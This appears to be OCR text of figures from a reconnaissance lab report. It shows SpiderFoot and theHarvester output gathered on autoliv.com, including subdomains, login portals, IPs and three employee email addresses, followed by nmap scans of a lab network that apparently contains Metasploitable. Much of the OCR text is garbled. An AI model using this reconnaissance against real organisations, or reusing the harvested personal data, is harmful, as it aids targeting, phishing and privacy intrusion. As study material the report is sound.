9

Name Servers:

autoliv.com NS record query failed: NOERROR

E(;oot@ kali)-[~]
#

Kali Linux “spiderfoot --version” Figure 31

L—(ront@ kali)-[~]
P =

SpiderFoot 4.0.0: Open Source Intelligence Automation.
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Kali Linux “spiderfoot -1 127.0.0.1:5001” Figure 32

—(rostSlali)-[-)
G 1 127.0.0.1:5001

Use SpiderFaot by starting your web browser of choice and
browse to http://127.0.0.1:5001/

2026-02-01 23:24:16,843 [INFO] sf : Starting web server at 127.0.8.1:5001 ...
2026-02-01 23:24:16,849 [WARNING] 5f :

Warning: passwd file contains no passwords. Authentication disabled.
Please consider adding authentication to protect this instance!
Refer to NTTPs://mes .spiderfoot.net/documentation/ssecurity.

2026-92-01 23:24:50,008 [INFO] sfwebul : Waiting for the scan to dnitialize...
2026-02-01 23:24:58,184 [INFO] sflib : Downloading configuration data from: https://publicsuffix.org/list/effective_tld_names.dat
2026-92-01 23:24:50,496 [INFO] sflib : Scan [275E28F1] for "autoliv.com’ initiated

2026-92-01 23:24:50,504 [INFO] sfLib : sfp_stor_db medule loaded.

2026-82-81 23:24:50,511 [INFO] sflib : sfp_abstractapi module loaded.

2026-82-01 23:24:50,516 [INFO] sflib : sfp_abusach module loaded

2026-92-01 23:24:50,526 [INFO] sfLib : sfp_sbuseipdh madule loaded.

2076-07-81 23:74:50.530 [TNENT <F1ih @ <fn abusiz module Inaded.

Spiderfoot New Scan Figure 33

@ on 0.0.1

cs M Kali Forums X Kali NetHunter Exploit-DB le Hacking DB

cans  / Seftings Light Mode @ About

% spiderfoot 4 New Scan

New Scan
Scan Name @ Your scan target may be one of the following. SpiderFoot will automatically detect the target type based on the format of your input:
AutoLiv Domain Name: e.g. example.com E-mail address: 6.g. bob@example.com
IPv4 Address: e.g. 1.2.3.4 Phone Number: e.g. + 12345678901 (E.164 format)
Scan Target IPV6 Address: &.0. 2606:4700:4700::1111 Human Name: & 9. "John Smith” (must be in quotes)
Hosiname/Sub-domain: e.q. abc.example.com Username: e.0. ‘fsmith2000" (must be in quotes)
autoliv.com Subnet: .. 1.2.3.024 Network ASN: e.0. 1234

Bitcoln Address: e.9. 1HesYJSP1Qacy PEJ1QOvZBLIWU]IUNGe7R

By Use Case By Required Data By Module
O Al Get anything and everything about the target.

All SpiderFoot modules will be enabled (slow) but every possible piece of information about the target will be obtained and analysed.

() Footprint  Understand what information this target exposes to the Internet.

Gain an understanding about the target's network perimeter, associated identities and other information that is obtained through a lot of web crawling and search
engine use.

O Investigate Best for when you suspect the target to be malicious but need more information.

Some basic feotprinting will be performed in addition to querying of blacklists and other sources that may have information about your target's maliciousness.

Passive When you don't want the target to even suspect they are being investigated.

4 Create a (free) SpiderFoot HX account in seconds and try it out for yourself.

Spiderfoot Summary Flgure 34

#h spiderfoot 4 Newscan

AutoLiv suns

®Summary | @ Corelations S Browse % Graph | @ Scan Settings ) Log

@ Scan Stalus @ Corelations

Total 205 Unique 17 Status | RUNNING Emors | 145 m 0 o m [} 0

o Data Types

Percentage of Uniqus Elements

Illl
f%

‘f ﬁ q\,@" :“d&w‘@

P

H Check out our YouTube channel to see SpiderFoot HX in action
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Spiderfoot 28 Unique Internet Names Figure 35

#% spiderfoot 4 Newscan  EScans  Setings

AutoLiv suwe

®Summary @ Correlations i Browse % Graph 4% Scan Settings Wl Log u H =

Browse  Interet Name
Data Source

| Element  * Source Data Elsment * Module ° identificd

H avate teta.autoliv.con sTp_ 2626-8
ta-vi ansr 2012
p.autol 3:34:5
iv.com &

U awate [(*task’: {'visibility': ‘public’, ‘method': ‘manual’, 'dosain’: ‘ccqt.autoliv.com’, 'apexDomain’: ‘aut stp_ 2026-0
ta-vi oliv.con', 'time’: '2026-01-17709:07:25.707Z', 'wuid’: '019bc947-1381-71cd-TaeT-5cI5hbacads’, 'url': ansr 2012
p.autol “http://ccqt.autoliv.cons'), 'Stats': {*uniqIPs': 2, ‘uniqCountries': 1, ‘datalength': 623152, 'encofed esol 3:35:0
iv.com Datalength': 632875, 'requests': 20}, 'pape’: ('country': 'AU’, ‘server’: 'nginx/1.26.2', ‘redirected ve 1

“same-domaln’, 'ip': '202.135.14.19°, 'apexDomainAgeDays’: 4679, ‘mimeType': 'text/html', 'title’
oliv GQ Control Tool®, 'url': ‘https://ccqt.autoliv.com/pages/login.shtal’, ‘tlsValidbays': 389, 'tlshg
eDays': 36, 'ptr': 'tchlis.autollv.com’, 'domainAgeDays': 3230, 'tlsValldFrom': '2025-12-12700:00:00,00
62, ‘donain’: ‘ccqt.autoliv.com’, ‘apexDomain’: 'autoliv.com’, ‘asnname’: 'ATGS-MMD-AS, US', ‘asn’: ‘A
52687', 'tlsIssuer': 'DigiCert Global G2 TLS RSA SHAZ56 2020 CA1', 'status': '200'}, '_id': '019bc847-1
381-71c-0ae7-5c05bbacabd3’, '_scora’: Mone, 'sort': [1768688445787, '919bc047-1381-71cd-Sae7-5cB

U aws-en [{*task’: {'visibility': ‘public’, ‘method’: ‘manual’, 'domain’: ‘CCQE.autoliv.con’, 'apexDomain’: ‘aut stp_ 2026-0
fqct-vi  oliv.com', 'time': '2026-81-17180:67:25.7072', 'wuid': '819bcod7-1381-71cd-Gae?-5cabbbacabds’, 'url': dnsr 2812
p.autol ‘http://ccqt.autaliv.cons'), ‘stats': {'uniqlPs': 2, ‘unigCountries’: 1, ‘datalength': 623152, 'encoded  esol  3:35:0
iv.com Datalength': 632875, 'requests’: 20}, 'page’: ('country': 'AU‘, ‘server’: 'nginx/1.26.2', ‘redirected’: ve 1

‘same-domain’, 'ip': '202.135.14.18°, 'apexDomainAgeDays': 4679, ‘mimeType': 'text/html', 'title': 'Aut
oliv €Q Control Tool', 'url': 'hitps://coqt.autoliv.com/pages/login.shtal’, 'tlsValidDays': 389, 'tlshg
sbays': 36, 'ptr': 'tchlis.autoliv.com', 'domainAgsDays

0.0

3230, ‘tlsValidFrom': '2025-12-12T0

H Check out our YouTube channel 1o see SpiderFoot HX in action

Spiderfoot 3 Direct Email Addresses Figure 36

& spiderfoot 4 News

EScans  / Seflings

AutoLiv sumne

@Summary @ Correlations | i@ Browse % Graph 1 Scan Settings  l Log

Browse . Email Address

| Data Element ¢ Source Data Element + Source Module ® idontified
) bianca. bondocsautolv. com autoliv. com sTp_skymem 2026-02-01 23:34:49
L' denisa.georgescuautoliv.com autoliv.com sfp_skymem 2626-92-81 23:34:49
L kristina.nentergautoliv.com autoliv.com sFp_skymem 2026-82-81 23:34:49

Spiderfoot 22 affiliate-related email addresses Figure 37

# spiderfoot  #Newscan imScans Setings

AutoLiv s

@summary | @ Correlaions | fEBrowse | # Graph @ Scan Settings | I Log u OB M & || sear H

Browse | Affiliate - Email Address

& L] e
Element Source Daia Element Module * Identitied

7192108 Damain Name: AUTOLIV.COM stp_ | 2026-8
11e8204 Registry Domain ID: 1918511 DOMAIN COM-VRSN emal | 2-912
cB_afwh Registrar WHOIS Server: whois.eurodns.com 1 3:34:8
oispriv Registrar URL: NEtp://wn.EuraDNS. com 1
acy.com Updated Date: 2025-03-18T07:59:24Z

Creation Date: 1998-83-25T65:00:86

z
Registry Expiry Date: 2026-03-24704:00:00Z
Registrar: EuroDNS S.A.
Registrar IANA I0: 1852
Registrar Abuse Contact Email: legalservicesgeurodns.com
Registrar Abuse Contact Phone: +352.27228150
Domain Status: cLISNtTransTerProhibited NLTPSs://1CANN.Org/eppsclientTransTerPronibited
Name Server: DNS1.PO1.NSONE.NET
Name Server: DNS2.PO1.NSONE.NET
Name Server: DNS3.P@1.NSONE.NET
Name Server: DNS4.PO1.NSONE.NET
DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form: https://ww.icann.orgiwicf/
>»> Last update of whois database: 2026-02-02T04:32:44Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in Ehis record 1s the date the
registrar's sp
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Spiderfoot 2 email gateway records (MX) Figure 38

8 spiderfoot < Newscan

Scans  / Setlings

AutoLiv e

® Summary @ Correlations

% Graph | & Scan Settings W Log D‘ O E M & || Search. n

Browse | Email Gateway (DNS MX Records)

[} Data Element # Source Data Element # source Module 4 Iidentified *
Ot autoliv.c3s2. iphnx. com autoliv.com sfp_dnsraw 2026-02-01 23:33:11
D mx2.autoliv.c3s2.iphmx.com autoliv.com sfp_dnsraw 2026-02-01 23:33:11

Spiderfoot 2 IPv6 addresses identified Figure 39

#: spiderfoot 4 New sean

cans  / Setiings

AutoLiv sune

@ Summary @ Correlations

% Graph 1 Soan Settings | W Log D\ &

& |[ sowe )

Browse / IPv6 Address

[[] pata Element # Source Data Element ¢ Source Module ¢ Identified ¢
L 2606:4708: :6812:1a6b wiw_autoliv.com sfp_dnsresolve 2026-02-01 23:34:56
O 2606:4708: :6812:1b6b wiw_autoliv.com sfp_dnsresolve 2026-02-01 23:34:56

Kali Linux “theHarvester -version” Figure 40

(root® kali)-[~]
G theH: Vers

Read proxies.yaml from /etc/theHarvester/proxies.yaml

S /o |

I 77 /N NG
1[NNI | /AN |

* theHarvester 4.8

* Coded by Christian Martorella
* Edge-Security Research

* cmartorellagedge-security.com
*

R

usage: theHarvester [-h] -d DOMAIN [-1 LIMIT] [-S START] [-p] [-s] [-—-screenshot SCREENSHOT] [-v] [-e DNS_SERVER] [-t] [-r [DNS_RESOLVE]] [-n] [-c] [-f FILENAME] [-w WORDLIST] [-a] [-q] [-b SOURCE]
theHarvester: error: the following arguments are required: -d/--domain

“theHarvester -d autoliv.com -b all -1 500” 36 Interesting URLs Identified Figure 41

[*] Interesting Urls found: 36

http: //mobilecn.autoliv. con/

https: //career.autol iv. con/

https: //careerromania.autoliv.con/

https: //ccqt.autol iv.con/pages/Login. shtml
https: //cn-gstest.autoliv.com/

https: //cnfact.autoliv. con/Home/Login

https: //desktop-eu.autoliv.con/vpn/index. htal
https: //fed.autoliv.com/adfs/1s/

https: //fed.autoliv.com/adfs/Ls/?SAML § SEC22CcqveBIl LjenulyF

T52Z6TUHK2TIHNGTfViTu: JT v =09fasf VBUILSKEXLAZQNG2bIZtveOZuYLUBIVAIR
grr i . Tg19v. i 132pHpBISFL 3 j 3tp3zTYm7CxR2bk

bGhf Jv1UCEQIX7ZMDS1 GAWEYQPGDVAQ3Z3TIOTR2DEYYBChY i LaX7! FUFKL J1TUHT 3

https: //fed.autoliv.con/adfs/Ls/2wa=ws. 05wt .astute-elearning rustéwctx= 12021-04-01T 3a57,

https: //fed.autoliv.com/adfs/1s/idpini ? tors. ivabp

https: //fed.autoliv.con/adfs/Ls/idpil 2 3 1ivabp

https: //ftakorea.autoliv.con/auth/login/view.do

https: //1is.autoliv.con/

https: //1istwh.autol iv. con/ TWHWEB/Account /Login.aspx
: a/

Liv. con/Suppl.

//supplierth.autoliv.con/

https: //supplierwebvan. autoliv.com/VAN/Login.aspx

https: //support .autoliv.con/

https: //tehlis.autoliv.con/
ps://tchlistest.autoliv. con/

‘e - autol v com,
//wwn .autoliv.com/?user-status=activated

https: //ww .autoliv.com/7utm_ - . paign:| hobgoblinairway)
hteps:// toliv.com/2utm_ = 7 = < )
https://we.autoliv.com/SafetyScore
~autoliv.com/Support
.com/autoliv-email-disclaimer
-com/press/autoliv-accelerates-its-global-structural-cost-reductions-ains-close-sites-elmshorn-gernany
.com/safety-solutions/connected-safety

https://xmstest.autoliv.com/
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“theHarvester -d autoliv.com -b all -l 500” 56 IP Addresses |dentified Figure 42

[*1 IPs found: 56

104.126.36.81
104.126.37.27
104.126.37.35
104.126.37.40
104.18.27.107
104.18.35.191
106.83.4.51
12.106.164.13
122.248.178.103

202.135.14.27
202.135.14.29
202.135.16.39
202.135.14.46
202.135.14.51
202.135.16.63
202.135.16.65
206.18.106.150
206.18.106.160
207.120.37.101
213.62.152.162
213.62.152.181
23.196.3.193
23.205.255.199

2606:4700:: 6812

9 Autonomous System Numbers (ASNs) Identified Figure 43

[*) AsNs found: 9
AS13335
AS14061
4517229
AS20940
AS2686

AS7018

762 Hosts/Subdomains Identified Figure 44

762

[*] Hosts foun:

3com.autoliv.bizbiz.autoliv.com
Yemailtest-na.autoliv.com
aam-edi-vit.autoliv.com
aam-edi-vlt.autoliv.con:12.106.164.19
aam-edi-vlte.glb.autoliv.con
aank.oftp.autoliv.com
aan121q.autoliv.com
aammeter.autoliv.com

achcampus.autoliv.con
achcn. autoliv. com
achcn.autoliv.com:116.228.81.90
achcn2e.autoliv.com

achenct.autoliv.com
achcnct.autoliv.com:202.135.16.47
achencti.autoliv. co

achedi.autoliv.com
achedi.autoliv.com:202.135.14.12
achedi9.autoliv.com

acwen.autoliv.com

acxen.autoliv.com

aeu.autoliv.com

af-south-1k.vpce.autoliv.con
agps.autoliv.com

agpsk.autoliv.com

ai0.autoliv.com
af0.autoliv.com:202.135.14.43
aio.autoliv.com:alvs-aio-vip.autoliv.com
aiotest.autoliv.com
aiotest.autoliv.com:202.135.14.58
alva-apps-vip.autoliv.com
alva-autodiscover-vip.autoliv.com:213.62.152.157
alva-cb-vip.autoliv.com:213.62.152.153
alva-cemcubedl-out.autol iv. con
alva-ccmcubedl-out.autoliv.com:213.62.152.182
alva-comcubedl-out.autoliv. con: 64: FF9b :: dS3e:98b6
alva-ccmcubedl-outq. autoliv.com
alva-cloudmail-vip.autoliv.con
alva-cloudmail-vip.autol iv.com:213.62.152.141
alva-cloudmail-vipo.autoliv.com
alva-dia-tracker.autoliv.com:213.62.152.149
alva-dialin-vips.autoliv.con
alva-esail-vip.autoliv.com
alva-email-vipg.autoliv.com
alva-emailarchive-vip.autoliv.com
alva-emailsearch-vip.autoliv.com
alva-emailsearch-vipi.autoliv.com

1 Email Found Figure 45

1

[+] Emails foun
legalaffairsgautoliv.com

[*] Mo people found.
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Kali Linux GCU Virtual Cloud “sudo netdiscover -i brO -L” Figure 46

— I thunder49& kali)-[~]
~$ sudo netdiscover -i br@ -L

Ip At MAC Address Count Len MAC Vendor / Hostname
192 .168.0.2 Q@@ 0@:11:11:11 1 472 XEROX CORPORATION
192 .168.8.5 Q@0 0@:11:11:13 1 472 XEROX CORPORATION
192.168.0.3 52:54:00:12:34:56 1 6@ Unknown vendor

e

—(thunder49® kali)-[~]

—5 1

Kali Linux GCU Virtual Cloud “nmap -v” Figure 47

—( thunder49& kali)-[~]

—% nmap -v

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-@8 02:27 UTC

Read data files from: fusr/share/nmap

WARNIMNG: Mo targets were specified, so © hosts scanned.

Nmap done: @ IP addresses (@ hosts up) scanned in 0.03 seconds
Raw packets sent: @ (0B) | Rcvd: @ (0B)

—(thunder49% kali)-[~]

—$ 1

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -sn” Figure 48

—(thunder49® kali) [~]

“$ sudo nmap 192.168.0.1-5 -sn

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-@8 ©2:36 UTC

Nmap scan report for ip-192-168-0-1.us-west-2.compute.internal (192.168.0.1)
Host is up.

Mmap scan report for ip-192-168-0-2.us-west-2.compute.internal (192.168.0.2)
Host is up (0.00068s latency).

MAC Address: 00:00:00:11:11:11 (Xerox)

Mmap scan report for ip-192-168-0-3.us-west-2.compute.internal (192.168.0.3)
Host is up (0.0017s latency).

MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Mmap scan report for ip-192-168-0-5.us-west-2.compute.internal (192.168.0.5)
Host is up (0.00049s latency).

MAC Address: 00:00:00:11:11:13 (Xerox)

Mmap done: 5 IP addresses (%4 hosts up) scanned in 1.31 seconds

—( thunder49® kali)-[~]
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Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -O” Figure 49

—( thunder49® kali)-[~

L$ sudo nmap 192.168.8.1-5 -0

Starting Nmap 7.95 { https://nmap.org ) at 2026-02-08 02:46 UTC

Nmap scan report for ip-192-168-0-1.us-west-2.compute.internal (192.168.0.1)
Host is up (@.000056s latency).

Mot shown: 998 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open  ssh

3389/tcp open ms-wbt-server

Device type: general purpose

Running: Linux 2.6.X|5.X

05 CPE: cpe:fo:linux:linux_kernel:2.6.32 cpe:/fo:linux:linux_kernel:5 cpe:/o:Llinux:Llinux_kernel:6
0S details: Linux 2.6.32, Linux 5.0 - 6.2

Network Distance: @ hops

Wmap scan report for ip-192-168-0-2.us-west-2.compute.internal (192.168.8.2)
Host is up {0.00081s latency).

Mot shown: 988 closed tcp ports (reset)
PORT STATE SERVICE

21/tcp open  ftp

22/tcp open  ssh

23/tcp  open  telnet

25/tcp  open  smtp

53/tcp  open domain

B0/ tcp open  http

139/tcp open netblos-ssn

445/tcp  open microsoft-ds

3306/tcp open mysgl

5432/tcp open postgresgl

BOO9/tcp open ajpl3

B1BD/tcp open unknown

MAC Address: D0:00:00:11:11:11 {Xerox)
Device type: general purpose

Running: Linux 2.6.X

05 CPE: cpe:/fo:linux:linux_kernel:2.6
05 details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Mmap scam report for ip-192-168-0-3.us-west-2.compute.internal (192.168.0.3)

Host is up (@.0018s latency).

Mot shown: 997 closed tcp ports {(reset)

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Device type: general purpose

Running: Microsoft Windows XP|2003

05 CPE: cpe:/fo:microsoft:windows_xp::sp3:embedded cpe:/o:microsoft:windows_xp::sp? cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:win
dows_server_2003

0S5 details: Microsoft Windows XP SP2 or SP3, or Windows Embedded Standard 2009, Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop

Mmap scan report for ip-192-168-0-5.us-west-2.compute.internal (1%92.168.08.5)
Host is up {0.00879s latency).

Mot shown: 998 closed tcp ports (reset)
PORT STATE SERVICE

22/tcp open ssh

B@/tcp open http

MAC Address: 00:00:00:11:11:13 (Xerox)
Device type: general purpose

Running: Linux 2.6.X

05 CPE: cpe:fo:linux:linux_kernel:2.6
05 details: Linux 2.6.32 - 2.6.35
Network Distance: 1 hop

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (4 hosts up) scanned in 4.31 seconds

—( thunder49® kali)-[~
$0

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -sV” Figure 50

(thunder49® kali)-[~

$ sudo nmap 192.168.8.3 -sV

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-88 ©3:26 UTC

Nmap scan report for ip-192-168-0-3.us-west-2,compute.internal (192.168.0.3)
Host is wp (@.0059s latency).

Mot shown: 997 closed tcp ports {(reset)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Service Info: 0Ss: Windows, Windows XP; CPE! cpe:/o:microsoft:windows, cpe:/o:microsoftiwindows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Mmap done: 1 IP address {1 host up) scanned in 7.74 seconds

¢ ihunderw@ kali)-[~
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Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -A” Figure 51 - A

thunderss kati
L zudo nmap 192
Stariing Wmag 7.3 ( hiips://mmap.org ) st 202 5 03
B L R e PP
is up (9.00884ls Latency). T
Mot shown: 335 closed tcp ports [reset)
STTE sshmtl(z
=3

RSN
openssd 3.9p1 Debian 3 (protacol 2.8)

503601 75163127 (ECOSA)
A 384574 (E025519)
3551 open Mo uhserver Mitioseti Tormindl Service

05 CPEF ¢ 1:2,6,32_cpe: fo: Linux: Linux_kernel:s cpe:/o:linux:Tinux_kernel:6
05 details: Linux 2.6,32, Limux 5.0 - 6.2

Network Distance: g hops
Service Info: 053: Linux, Windows; CPE! cpe:/o:linuz:linus_kernel, cpe:/o:microsoft:windows

Mrap scan report for 1p-192-166-0-2,us-west-2.compute. interral (192,168.9.2)

Hast
Not shown, 305" Eloasd +6p obis (gesen)
PORT  STATE SERVICE VERSI

2tep # FESTTED 1.3.1

e OpenSSH 4.7p1 Debian Bubuntul (protocol 2.8)

chidsiBeicd (05A)
deiayizhiae:61:b1i24i3d:e8:73 (RSA)

23/tep  open teinet Linuy tein
5/tcp  open smip Postfix smepd

_smip-commands: metasgloitable,localdomain, PIPELINING, SIZE 10200000, VRFY, ETRN, STARTILS, ENWANCEDSTATUSCODES, SBITMIME, DSN
3/t pen  domain 15C BIKD 9.4.2

dns-n

| bind.version: 9.4.2

/tep  open hitp apache httpd 2,2.8 ((Ubuntu) PHP/S.2.4-2ubuntus. 18 with Suhesin-patch)

http-methods

Potentially risky methods
“nitpiile biie shen £ have 5 fitte Crextnaml)
Thitp-server-header: Apache/2.2.8 (Vhuniu) PHP/5.2.i- 2UbUTEUS. 10 wich Suhasin-Patch
33/tcp open netbios-ssn Samba smbd 3.X - &.X (workgroup
G3/ih Ohen notbios san Samoa onod 16,20 tobion [backproup. WORRGRDUP)
3u5/tcp open QL 5.0.51

mizal-info
Protacol

versig s1a-3ubuntus

Thread Tot

czpanmms flags: 4356k

Same Capabilities: SupportélAuth, SupportsCompression, SpeaksilProtacolMew, LongColumnFlag, SwitchTossLafterkandshake, ConnectWithDatabase, SupportsTra
sactions

saams mutacomis

sab Wk cazn;y
T3ziics open . BOrLeient: Pnstgr!SQL BEae -5
-asl-date: 2096-620ATeI 7 L8 08, ts Thom scinter tine,
Zhasetoc izat e is 10 such thing outside US/countryName=xi

3/%Cp open a3pLd wasche Jgery (Protacal v1.3)
Ciiomethods: aied to get 3 villd response for thi orTIay request
15/ spen i Apache Tomcat/Coyate 15F engine 1
http Tasiron Aphche Tancar

D e gt Faments.s
401601111 11511 (Xerax)
Device typs: general purpose

S L Linus kernel:z.s
g detsils: Linun 2

Network Distance

Servnie T et "Mhiasplortabte locoldomain; 085: Unix, Linux; €PE! cpe:falinu Linux_kernel

st seript results
“inba-cine: rotocal negotiation failed (swe2)
e oscisaoer

20-Debian)
ploitable
Net8105 computer name
Damain name: lacaldomain

nsamizs, median: -is

challenge respanse {
R Trming, disabied. (dangeraus, but defa

ult)
i RELa 0 hame METASPLOTTASLE, RetBLos uSEr. urknowns, NTAIOS MACH <unknawns Cunknoun)

TRACEROUTE
HOP RTT

ADDRESS
s ip-192-168-0-2.u5-west-2, compute, internal (192,168.8.2)

map scan ragort for 19-192-160-0-3. us-hest-2.compute. nternal (182.160.9.3)

Wot. sh\wn. m L e pms fresen)
PORT ERVICE

rpc Mcrasast windons

MAC Address
Device iyas. genaral pires

Running: Microsoft Windows xP|2083

95 CPEE cpefo:microsalt windows xp:: sp3:ewbedded cpe:/oimicrosoft uindons xp:isg? cpe:/oimicraseft winduns xp:sp3 coe/o:micrasof iuindows server 2
05 details: Microsoft Windows XP SP3 or 5P3, or Windows Embedded Standard 2869, Microsoft Windows XP SP2 or SP3, or Windows Server 2

Network Distance: 1 hop

Service Info: 05:: Windows, Windows XP; CPE! cpe:/o:microseft:windows, cpe:/o:microsoft:windous_sp

HOst script results:
nbstat: WetBIOS nime: GRAND-SES139878, NetBIOS user: sunknown, WetBIOS MAC! 52:54!
“clock-skew: mean: 18h23ms3s, deviatiof: GhSemS3s, median: Gh53MS3s

12136158 (QEMU virtual NIC)

authentication level: user
challengs_respanse: supported

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.1-5 -A” Figure 51 - B

TRACE
HOP ADDF
1 0.85 ms ip-192-168-8-2,us-west-2, compute internal (192.160.8.2)

Wmap scan report for ip-192-168-8-3.us-west-2,compute, internal (192,168.8.3)

Host is up (8.0028s latency).
Not shown: 997 closed tcp ports (reset)
FORT STATE SERVICE VERSION

icp e e dcrasoft windows
139/tcp open nethios-ssn  Microsoft Windows nmm ssn
G4s/3CR open. microsofs ds Windgws XP microsort

WA Address: 52154108112134156 (QEMU virtual N

Device yne. genera

G5 CPET mes/oimicrasurtivindous_xp i 393 enbedded cped (o imaCrosofivndnys s 152 Cpe [0 miCEOSOf ivindons g S92 che /3 microsofuindous_server 2003
g2 frrals: meresat winias e S A A R I e i

setwork Distance: 1

Service Tnfo. Ges: Windows, Windows XP; CPE cpe:/o-microseft-windous, cpe:fo:mirroseft windows_sp

fost script results
_nbstat: NetBIOS nam! GRAND-BEB199878, WetBIOS user: <unknown>, NetBIDS MAC! 52!54!98!12!34!56 (QEMU wirtual NIC)
“clock-skew: 29ms9s, deviation: GhsGmses, median: Ghsamsas
~smb-security-mode
account_used
authentication_level: us!r
challenge resganse: suppor
_ message s T ihngerous, bat detaniey
smb-0s-di3cover
o5i Wwindows P (windaws 2008 L manager)
/o:microsofe:window:
Compucee Rane. Seand-besiaaare
NetBIOS computer name: GRAND-BEB133878%xl
Workgroup: WORKGROUPY.
System time: 2026-02-88° a7
an e Fraeatal nesetiation SaTiM (amaz)

TRACEROUTE
HOP RTT
1 2.04ms 1p e en05.uuestoz, compute. internal (192.168.8.3)

map scan eepore for i 192-160-0-5.us-west-2.compute. internal (292.155.
tost is up (8.048525 latency

WO shaun: 69 closad tcp oris (reset)

PORT  STATE SERVICE YERSION

ssh CpenssH 5.5p1 Debian 6+squeeze (protocsl 2

;
2040 95:8.70+43+7h. 10 eb e 59 1ub 13 e F1ibg bei1s (RIA
T g ey agachs hetad 2,216 Eoebtans)
niip-iitle: my photoblag - Las ur,

e a( EIZ Z IE (D!hlan)
11 (Xs

Device type: genesal purgoze
Running: Linux 2.6.X

05 CPET cpe /b Ll Linu_kernel 2.6

05 details: Linux 2.6.32 - 2.6.35

Network Distance: 1 hop

Service Info: 05 Linux; CPE! cpe:/o:linux:linux_kernel

IaccRouTE
HoP
10§52 ms 1p-163168-0-5.us-uest-2. compute. internal (192,163,0.5)

05 and Service detection performed. Please report amy incorrect results at hitps://nmap.org/submits .
Nmap dome: 5 IP addresses (4 hosts up) scanned in 123,34 seconds
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Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -sT” Figure 52

—(thunder49@ kali)-[~]

% sudo nmap 192.168.0.3 -sT

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-08 83:57 UTC
Nmap scan report for ip-192-168-0-3.us-west-2.compute.internal (192.168.0.3)
Host is up (0.0030s latency).

Mot shown: 997 closed tcp ports (conn-refused)

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -sU” Figure 53

—(thunder49® kali)-[~]

“$ sudo nmap 192.168.8.3 -sU

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-08 03:58 UTC

Nmap scan report for ip-192-168-0-3.us-west-2.compute.internal (192.168.0.3)
Host is up (0.0043s latency).

Mot shown: 993 closed udp ports (pert-unreach)

PORT STATE SERVICE
123/udp open ntp
137/udp open netbios-ns

138/udp openlfiltered netbios-dgm

445/udp open|filtered microsoft-ds

500/udp openlfiltered isakmp

1900 /udp openlfiltered upnp

4500/udp open|filtered nat-t-ike

MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Nmap done: 1 IP address {1 host up) scanned in 1.67 seconds

Kali Linux GCU Virtual Cloud “sudo nmap 192.168.0.3 -f* Figure 54

—(thunder49% kali)-[~]

% sudo nmap 192.168.0.3 -f

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-08 03:59 UTC
Nmap scan report for ip-192-168-8-3.us-west-2.compute.internal (192.168.08.3)
Host is up (2.0097s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

Kali Linux “sudo nmap 192.168.0.3-5 -p80 --script http-enum” Figure 55

——(thunder49& kali)-[~]

—$ sudo nmap 192.168.0.3-5 -p8@ --script http-enum

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-08 04:00 UTC

Nmap scan report for ip-192-168-0-3.us-west-2.compute.internal (192.168.0.3)
Host is up (©.0012s latency).

PORT STATE SERVICE
80/tcp closed http
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Nmap scan report for ip-192-168-@-5.us-west-2.compute.internal (192.168.08.5)
Host is up (©.00049s latency).

PORT STATE SERVICE

80/tcp open http

| http-enum:

| /admin/login.php: Possible admin folder

| /classes/: Potentially interesting directory w/ listing on ‘apache/2.2.16 (debian)’
| /css/: Potentially interesting directory w/ listing on ‘apache/2.2.16 (debian)

| /icons/: Potentially interesting folder w/ directory listing

| /images/: Potentially interesting directory w/ listing on ‘apache/2.2.16 (debian)’
| /index/: Potentially interesting folder

|_ /show/: Potentially interesting folder

MAC Address: 00:00:00:11:11:13 (Xerox)

Nmap done: 3 IP addresses (2 hosts up) scanned in 5.35 seconds
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Kali Linux “sudo gvm-start” Figure 56

—(thunder49® kali)-[~
$ sudo netdiscover -i br@ -L

IP At MAC Address Count Len MAC Vendor / Hostname
192.168.0.5 PR:PR:00:11:11:13 1 42  XEROX CORPORATION
192.168.0.3 52:54:00:12:34:56 1 6@ Unknown vendor

“C

— ( thunder49® kali)-[~
% sudo gvm-start
[>] Please wait for the GVM services to start.
[>
[>] You might need to refresh your browser once it opens.
[>]
[>] web UI (Greenbone Security Assistant): https://127.0.0.1:9392 I
» gsad.service - Greenbone Security Assistant daemon (gsad)
Loaded: loaded (/usr/lib/systemd/system/gsad.service; ; preset: )
